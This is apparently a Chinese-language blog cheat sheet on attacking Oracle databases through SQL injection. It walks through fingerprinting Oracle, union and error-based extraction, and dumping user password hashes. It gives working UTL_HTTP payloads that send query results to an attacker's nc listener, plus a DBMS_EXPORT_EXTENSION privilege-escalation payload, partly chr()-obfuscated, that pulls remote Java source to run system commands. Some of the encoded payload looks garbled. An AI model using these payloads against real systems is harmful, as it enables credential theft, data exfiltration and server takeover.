Oracle SQL 注入

Oracle SQL 注入

本文主要总结在Oracle注入中的步骤方法和注意事项:
参考了:http://www.freebuf.com/articles/web/5411.html

  • 注入常用语句
  • 常用步骤
  • 注意事项

常用步骤

1 找注入点

  1. 用单引号’之类的触发报错
  2. 用or 1=1, or 1=2之类的观察反馈

2 判断数据库类型
oracle 支持– 类型注释,但是不支持;分隔执行多语句,oracle 有很多系统表,譬如user_tables,通过对这些表的访问也可以判断出是否属于oracle,另外在oracle 里的一些函数也可以用来判断,譬如utl_http.request 这些,语言上的小细节也可以用来区分系统,譬如在oracle 里|| 是连接符号,但是在其他数据库里就不是了,所以 and chr(123) || chr(123) = chr(123) || chr(123)这样的,如果可以顺利执行,那么就基本应该是oracle 了。
Orcale 数据库报错一般以ORA-开头,所以看见这个也可以确认是Oracle.

3 尝试利用注入点

  1. 确认注入点可以执行利用比如能查询版本号
  2. 构造合理的注入语句,使信息能够回显
  3. 如果不能回显,可以使用sqlmap等工具辅助

  4. union查询
    用union select null,null,null from dual – 可以尝试改变null的个数来查询列的个数,以构造相应的union查询

  5. 利用utl_inaddr.get_host_address
    utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。
    使用时候构造包含utl_inaddr.get_host_address((sql query))的语句,使得在报错信息中包含sql query执行后的结果,一般一次只能显示一行一个字段的信息。

  6. 猜解字段数量
    使用order by 或者group by逐个提交数字 知道回显错误页面
    列出字段数目 比如6个字段数目
    and 1=1 null,null,null,null,null,null from dual-
    因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。检测当前字段的数据类型,在null的前后加上 ‘null’ 引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型
    例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–

  7. 获取表名

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名,我们就可以通过这些系统表来猜测系统的数据库结构了!

在这里也有个小技巧就是我们可以通过查询系统表来找找敏感字段如password 在哪个表中。首先我们看下含有password 的表有多少个。

语句如下:

select count(*) from user_tab_columns where column_name like ‘%25PASSWORD%25’

注意其中的%25 是% 的Url 编码, 通过这个语句就可以查询user_tab_columns 系统表,看里面列名与password 相似的记录的条数,注意列名要用大写表示.

4 查询数据库寻找有用信息

根据Oracle数据库特点构造查询语句进行查询

  1. 当前用户权限 select * from session_roles
  2. 当前数据库版本 select banner from sys.v_$version where rownum=1
  3. 服务器出口IP 用utl_http.request可以实现
  4. 服务器监听IP select utl_inaddr.get_host_address from dual
  5. 服务器操作系统 select member from v$logfile where rownum=1
  6. 服务器sid 远程连接的话需要 select instance_name fromv$instance
  7. 当前连接用户select SYS_CONTEXT (‘USERENV’, CURRENT_USER’)from dual
  8. 查询用户和密码select username,password from dba_users(在11g之后的版本密码默认为NULL不显示)
  9. 找带PASSWORD列的表个数select count(*) from user_tab_columns where column_name like ‘%25PASSWORD%25’
  10. 判断UTL_HTTP包是否存在 :
    select count(*) from all_objects where object_name=’UTL_HTTP’

    Oracle 没有limit 这样的语句所以可以用where rownum=1 来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2 是不行的,这里可以再次嵌套一个子查询语句如下:

select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like ‘%PASSWORD%’) where limit =2

这样就可以得到第二条记录了,灵活运用可以很快取得需要的数据

常用注入方法

利用UTL_HTTP注入 :

在本地用NC监听,使用’and UTL_HTTP.request(‘http://IP:2009/‘||(查询语句))=1–的形式 . 本地先 nc -l -vv -p 2009,然后提交
‘and UTL_HTTP.request(‘http://IP:2009/‘||(select banner from sys.v_$version where rownum=1))=1–

爆库:
‘and UTL_HTTP.request(‘http://ip:2009/‘||(select owner from all_tables where
rownum=1))=1– 爆出第一个库

‘and UTL_HTTP.request(‘http://IP:2009/‘||(select owner from all_tables where
owner<>’第一个库名’ and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/‘||(select owner from all_tables where
owner<> ‘第二个库名’ and owner<>’ 第一个库名’ and rownum=1))=1–

爆表 :

‘and UTL_HTTP.request(‘http://IP:2009/‘||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’ and rownum=1 and TABLE_NAME<>’第一个表名’ and TABLE_NAME<>’
第二个表名’))=1–

爆表列:

‘and UTL_HTTP.request(‘http://IP:2009/’||(select count(*) from user_tab_columns where table_name=’表名’))=1– 第一个表列名
或者
‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1– 第一个表列名

‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一个爆出的列名’))=1–

爆字段值:

‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1 and 表段<> ‘第一个表段值’))=1–

利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数 获取系统权限 :

‘and
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES (‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1); utl_http.request
(‘http://www.xx.com/1.txt’) END;–’,’SYS’,0,’1′,0)=0–

假如提交后返回该页无法显示。换成char() 形式后and
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr
(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)
||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)
||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr
(49)||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr
(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr
(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr
(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr
(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr
(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr
(39),0)=0–

远程地址的1.txt内容为 :
EXECUTE IMMEDIATE ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE
IMMEDIATE ”Create or REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVACMD” AS
import java.lang.;import java.io.;public class JAVACMD{public static void
execCommand (String command) throws IOException {Runtime.getRuntime
().exec(command);}};”;END;’

格式太乱,抽空再整理

你可能感兴趣的:(安全)